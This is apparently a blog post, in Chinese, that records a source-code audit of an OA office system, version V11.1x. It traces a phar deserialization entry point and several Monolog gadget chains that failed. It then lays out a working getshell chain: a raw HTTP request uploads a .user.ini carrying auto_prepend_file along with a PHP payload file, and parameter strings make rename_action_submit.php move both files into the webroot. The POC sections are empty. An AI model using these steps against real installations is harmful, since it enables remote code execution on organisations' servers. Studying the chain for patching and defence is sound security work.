记一次有趣的某达OA审计过程

概述

版本:V11.1x

因为一次偶然的机遇,拿到了某达OA的源码,用SeayDzend对源码进行了解密(如果不想手动解密的同学可以去下载这款工具进行解密)由于是某位同事直接发的压缩包我这里就不放链接了。

phar反序列化

触发点

依旧是全局搜索phar反序列化的关键字,这里我有个审计思路分享,当环境搭建起来以后,我会结合网站和源码一起找到路由和文件对应的关系。
如果环境没有搭建起来,先看看源码架构,看一下包含什么目录;从 index.php 开始跟踪分析包含的文件,看看有什么文件会处理路由,且观察到怎么处理,关于PHP代码审计,我的第一直觉是看看有没有可以直接利用的RCE,或者是任意文件写入等漏洞,可以去网上搜一下PHP的漏洞相关的危险函数。

file_nums.php

根据VScode全局搜索定位到这个php文件下
路由:/general/netdisk/file_nums.php?DIR=phar://

<?php require_once "inc/auth.inc.php";include_once "inc/utility_file.php";include_once "inc/utility_all.php";ob_end_clean();$DIR = iconv2os($DIR);$msg = sprintf(_("共%d个文件"), dir_file_nums("$DIR"));echo $msg;?>

POP链构造

任意文件删除

Shared\XMLWriter.php(失败)

失败原因

原因 :该XMLWriter.php中 没有命名空间,反序列化调用不了该类。

public function __destruct()
    {
        if ($this->tempFileName != "") {
            @unlink($this->tempFileName);
        }
    }

总结

总结:寻找反序列化链的时候,需要先确定该类是否有命名空间。

RCE

链一

__destruct ->  close()  -> flush()  -> handleBatch() ->handle()

__destruct(没有找到到 close)

-->close()

namespace Monolog;

class Handler\BufferHandler extends Handler\AbstractHandler

public function close()
    {
        $this->flush();
    }

--> flush()

public function flush()
    {
        if ($this->bufferSize === 0) {
            return NULL;
        }

        $this->handler->handleBatch($this->buffer);
        $this->clear();
    }

-->handleBatch()

Handler\AbstractHandler类

public function handleBatch($records)
    {
        foreach ($records as $record ) {
            $this->handle($record);
        }
    }

->handle()

inc\vendor\Mondog\Handler\FingersCrossedHandler.php

Handler\FingersCrossedHandler

public function handle($record)

  {

​    if ($this->processors) {

​      foreach ($this->processors as $processor ) {

​        $record = Handler\call_user_func($processor, $record);

​      }

​ }

链子二

--destruct -> close ->flush ->handleBatch -> processRecord -->

__destruct(没有找到到 close)

__close

namespace Monolog;

class Handler\BufferHandler extends Handler\AbstractHandler

public function close()
    {
        $this->flush();
    }

__flush

public function flush()
    {
        if ($this->bufferSize === 0) {
            return NULL;
        }

        $this->handler->handleBatch($this->buffer);
        $this->clear();
    }

__handleBatch

namespace Monolog;

Handler\ChromePHPHandler extends Handler\AbstractProcessingHandler

public function handleBatch($records)
    {
        $messages = array();

        foreach ($records as $record ) {
            if ($record["level"] < $this->level) {
                continue;
            }

            $messages[] = $this->processRecord($record);
        }

        if (!empty($messages)) {
            $messages = $this->getFormatter()->formatBatch($messages);
            self::$json["rows"] = Handler\array_merge(self::$json["rows"], $messages);
            $this->send();
        }
    }

processRecord

namespace Monolog;

Handler\AbstractProcessingHandler

protected function processRecord($record)
    {
        if ($this->processors) {
            foreach ($this->processors as $processor ) {
                $record = Handler\call_user_func($processor, $record);
            }
        }

        return $record;
    }

失败原因

  1. 第一步找 destruct 到 close()的位置出错
  • 看走眼,以为close的对象可以控,this->close(); 看成 this->$object->close();
  • 也是不够清楚,$this->handle是不可控的,我当时把它误认为对象可控,导致继续找一个实现handle方法的类,浪费了时间。
  • 尝试过_call方法,但是没有成功

  1. 往下找链的时候,记录的链过程没有条理,容易出现混乱
  2. 找链过程中,查找过程,经常性归零 从__destruct重新开始 (找链过程记录不清晰)

总结

  1. 找链中,第一时间排除没带命名空间的类作为节点。
  2. 找链应该从 __destruct开始往下延伸,每一步都做好记录。记录当前第几部,什么类满足条件,从该类扩展。画一条树状图
    比如
    __destruct class test1 { public function __destruct() { $this->handler->method1(); } } ->method1() class test2 { public function method1() { echo "hello"; } } --------------------------- class test3 { public function method1() { exit(0); } } test1 -> test2 test1 -> test3

文件上传+文件移动+文件包含--GETSHELL

文件上传分析

http://192.168.0.30/general/index.php?isIE=0&modify_pwd=0

在文件柜中会有批量上传的功能点,能够上传非PHP的任意文件

POST /module/upload/upload.php HTTP/1.1
Host: 192.168.20.155
Content-Length: 893
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBjizN8lhmbodA9BJ
Accept: */*
Origin: http://192.168.20.155
Referer: http://192.168.20.155/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d6vfb3q7c6tge1n3lqfq93ng9t; USER_NAME_COOKIE=lijia; OA_USER_ID=2; SID_2=37ba94af; KEY_RANDOMDATA=15553
Connection: close

------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="module"

file_folder
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="name"

test.ini
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="type"

application/octet-stream
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="lastModifiedDate"

Thu Aug 01 2024 23:20:39 GMT+0800 (中国标准时间)
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="size"

27
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="Filedata"; filename="test.ini"
Content-Type: application/octet-stream

auto_prepend_file=hello.txt
------WebKitFormBoundaryBjizN8lhmbodA9BJ--

分析数据包:

module: 目录
name: 文件名  -- 内容上传文件名
filename: 文件名

前台抓包可以知道

\moudle\upload\upload.php处理的上传逻辑

upload.php

路径:\moudle\upload\upload.php

$ATTACH_NAME = $FILE_NAME;
$SEND_TIME = time();
$ATTACHMENTS = upload($new_name, $module, false);

省略些代码,跟踪upload($new_name, $module, false)

utility_file.php

路径:inc\utility_file.php

upload()

function upload($PREFIX, $MODULE, $OUTPUT)
{
        /********上传的MODULE目录********/
        if (strstr($MODULE, "/") || strstr($MODULE, "\\")) {
        if (!$OUTPUT) {
            return _("参数含有非法字符。");
        }
        Message(_("错误"), _("参数含有非法字符。"));
        exit();
        }
        /*******检测文件后缀*************/
        if (!is_uploadable($ATTACH_NAME)) {
    $ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
        }
        /*******

}

td_path_valid()

总结:若目标路径是webroot,则必须也包含 attachment

if ($func_name == "td_fopen") {
        $whitelist = "qqwry.dat,tech.dat,tech_cloud.dat,tech_neucloud.dat,";
        if (((strpos($source, "webroot\inc") !== false) || (strpos($source, "webroot/inc") !== false)) && find_id($whitelist, $basename)) {
            return true;
        }
    }

    if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {
        return false;
    }
    else {
        return true;
    }

is_uploadable

总结:上传的文件,不允许后缀名前三位是php

$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
        $EXT_NAME = filename_valid($EXT_NAME);
        if ((td_trim($EXT_NAME) == "") || (td_trim(strtolower(substr($EXT_NAME, 0, 3))) == "php")) {
            return false;
        }

由于,我们并不能上传. php文件,有任意文件上传的漏洞,咱们尝试能不能上传 .user.ini 或 .htaccess 对目标文件进行包含或者解析。

这里某达OA是nginx服务器,只能通过.user.ini来对 其它文件进行包含。

思路如下:上传hello.txt文件,上传.user.ini文件,给.user.ini文件下移个没有的 php 文件。

文件移动函数的分析

源码

general/picture/rename_action_submit.php

路由: /general/picture/rename_action_submit.php

<?php

require_once "inc/auth.inc.php";
include_once "inc/header.inc.php";
include_once "inc/utility_all.php";
include_once "inc/utility_file.php";

if (substr($PIC_PATH, -1, 1) == "/") {
    $CUR_DIR = $PIC_PATH . $SUB_DIR;
}
else {
    $CUR_DIR = $PIC_PATH . "/" . $SUB_DIR;
}

if (stristr($FILE_NAME, "/") || stristr($FILE_NAME, "\\") || stristr($FILE_NAME, "?") || stristr($FILE_NAME, "*") || stristr($FILE_NAME, "\"") || stristr($FILE_NAME, "<") || stristr($FILE_NAME, ":") || stristr($FILE_NAME, ">") || stristr($FILE_NAME, "|")) {
    Message(_("错误"), _("参数含有非法字符。"));
    Button_Back();
    exit();
}

$CACHE_DIR_NAME_OLD = $CUR_DIR . "/tdoa_cache/" . $PIC_NAME;
$CACHE_DIR_NAME_MEDIUM_OLD = $CUR_DIR . "/tdoa_cache/medium_" . $PIC_NAME;
$PIC_PATH_OLD = $CUR_DIR . "/" . $PIC_NAME;
$FILE_TYPE = substr($PIC_NAME, strrpos($PIC_NAME, "."));
$PIC_PATH = $CUR_DIR . "/" . $NEW_NAME . $FILE_TYPE;
$CACHE_PIC_PATH = $CUR_DIR . "/tdoa_cache/" . $NEW_NAME . $FILE_TYPE;
$CACHE_PIC_PATH_MEDIUM = $CUR_DIR . "/tdoa_cache/medium_" . $NEW_NAME . $FILE_TYPE;

if (file_exists(iconv2os($PIC_PATH_OLD))) {
    td_rename(iconv2os($PIC_PATH_OLD), iconv2os($PIC_PATH));
    td_rename(iconv2os($CACHE_DIR_NAME_OLD), iconv2os($CACHE_PIC_PATH));
    td_rename(iconv2os($CACHE_DIR_NAME_MEDIUM_OLD), iconv2os($CACHE_PIC_PATH_MEDIUM));
}

echo "<script>\r\nopener.location.reload();\r\nwindow.close();\r\n</script>";

?>

文件重命名操作

以第一条语句为例

​ td_rename(iconv2os($PIC_PATH_OLD), iconv2os($PIC_PATH));

若要实现文件移动: td_rename(Old_NAME, New_Name);

td_rename(iconv2os($PIC_PATH_OLD), iconv2os($PIC_PATH));

我们需要控制 $PIC_PATH_OLD,$PIC_PATH 分别为旧新文件名

文件路径控制

$CUR_DIR = $PIC_PATH . "/" . $SUB_DIR;

$PIC_PATH_OLD

$PIC_PATH_OLD = $CUR_DIR . "/" . $PIC_NAME;

$PIC_PATH

$PIC_PATH = $CUR_DIR . "/" . $NEW_NAME . $FILE_TYPE;

若实现:

旧文件:tonda/attach/file_folder/2408/17203783.hello.txt

新文件:/tonda /webroot/general/system/attachment/test/hello.txt

$CUR_DIR = "/tonda"; //为前部分共有的路径 $CUR_DIR = $PIC_PATH.'/'

$PIC_PATH= ”/tonda";

$PIC_NAME="/attach/file_folder/2408/17203783.hello.txt"; //旧文件后部分

$NEW_NAME=" /webroot/general/system/attachment/test/hello";//新文件后部分

补充

通过td_rename 移动文件/目录 到 webroot目录下 条件: 目标路径必须包含 attachment

td_rename - > is_uploadable -> td_path_valid

td_rename()

is_uploadable()

td_path_valid()

移动的文件后缀不能 包含 2a.php。所以我们得移动文件目录。

攻击过程

上传 .user.ini 和 hello.txt文件,造成文件上传 + 文件包含的漏洞。

实现路径

1.上传 1.ini

auto_prepend_file=hello.txt

2.上传 hello.txt

<?php echo "hello"?>

3.将文件移动到可访问的目录

  • 1.ini -> /webroot/general/system/attachment/test/.user.ini
  • hello.txt -> /webroot/general/system/attachment/test/.hello.txt
  • 2a.php -> /webroot/general/system/attachment/test/2a.php

因为触发 .user.ini文件包含漏洞,需要存在一个php文件。在系统中找到一个满足条件的php,且不能影响业务逻辑。

webroot\attachment,不能直接路由访问,不做业务处理,不影响业务逻辑。在webroot/attachment里面找到了个php

存储在计算机中的文件名解密脚本

$ATTACHMENT_ID = '1231484566';
$ATTACHMENT_NAME = 'hello.txt';
echo $ATTACHMENT_ID ^ crc32($ATTACHMENT_NAME);

Content-Type: application/x-www-form-urlencoded

2a.php

移动整个目录

C:\tonda\webroot\attachment\office_auto\

/webroot/general/system/attachment/test/

NEW_NAME=../../general/system/attachment/test&PIC_PATH=/tonda/webroot/attachment/office_auto/

将hello.txt移动到

/webroot/general/system/attachment/test/

PIC_PATH=/tonda&PIC_NAME=/attach/file_folder/2408/17203783.hello.txt&NEW_NAME=/webroot/general/system/attachment/test/hello

将 1.ini移动到 .user.ini
/webroot/general/system/attachment/test/

PIC_PATH=/tonda&PIC_NAME=/attach/file_folder/2408/17203783.1.ini&NEW_NAME=/webroot/general/system/attachment/test/.user

POC1

POC2

POC3

  • 12
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值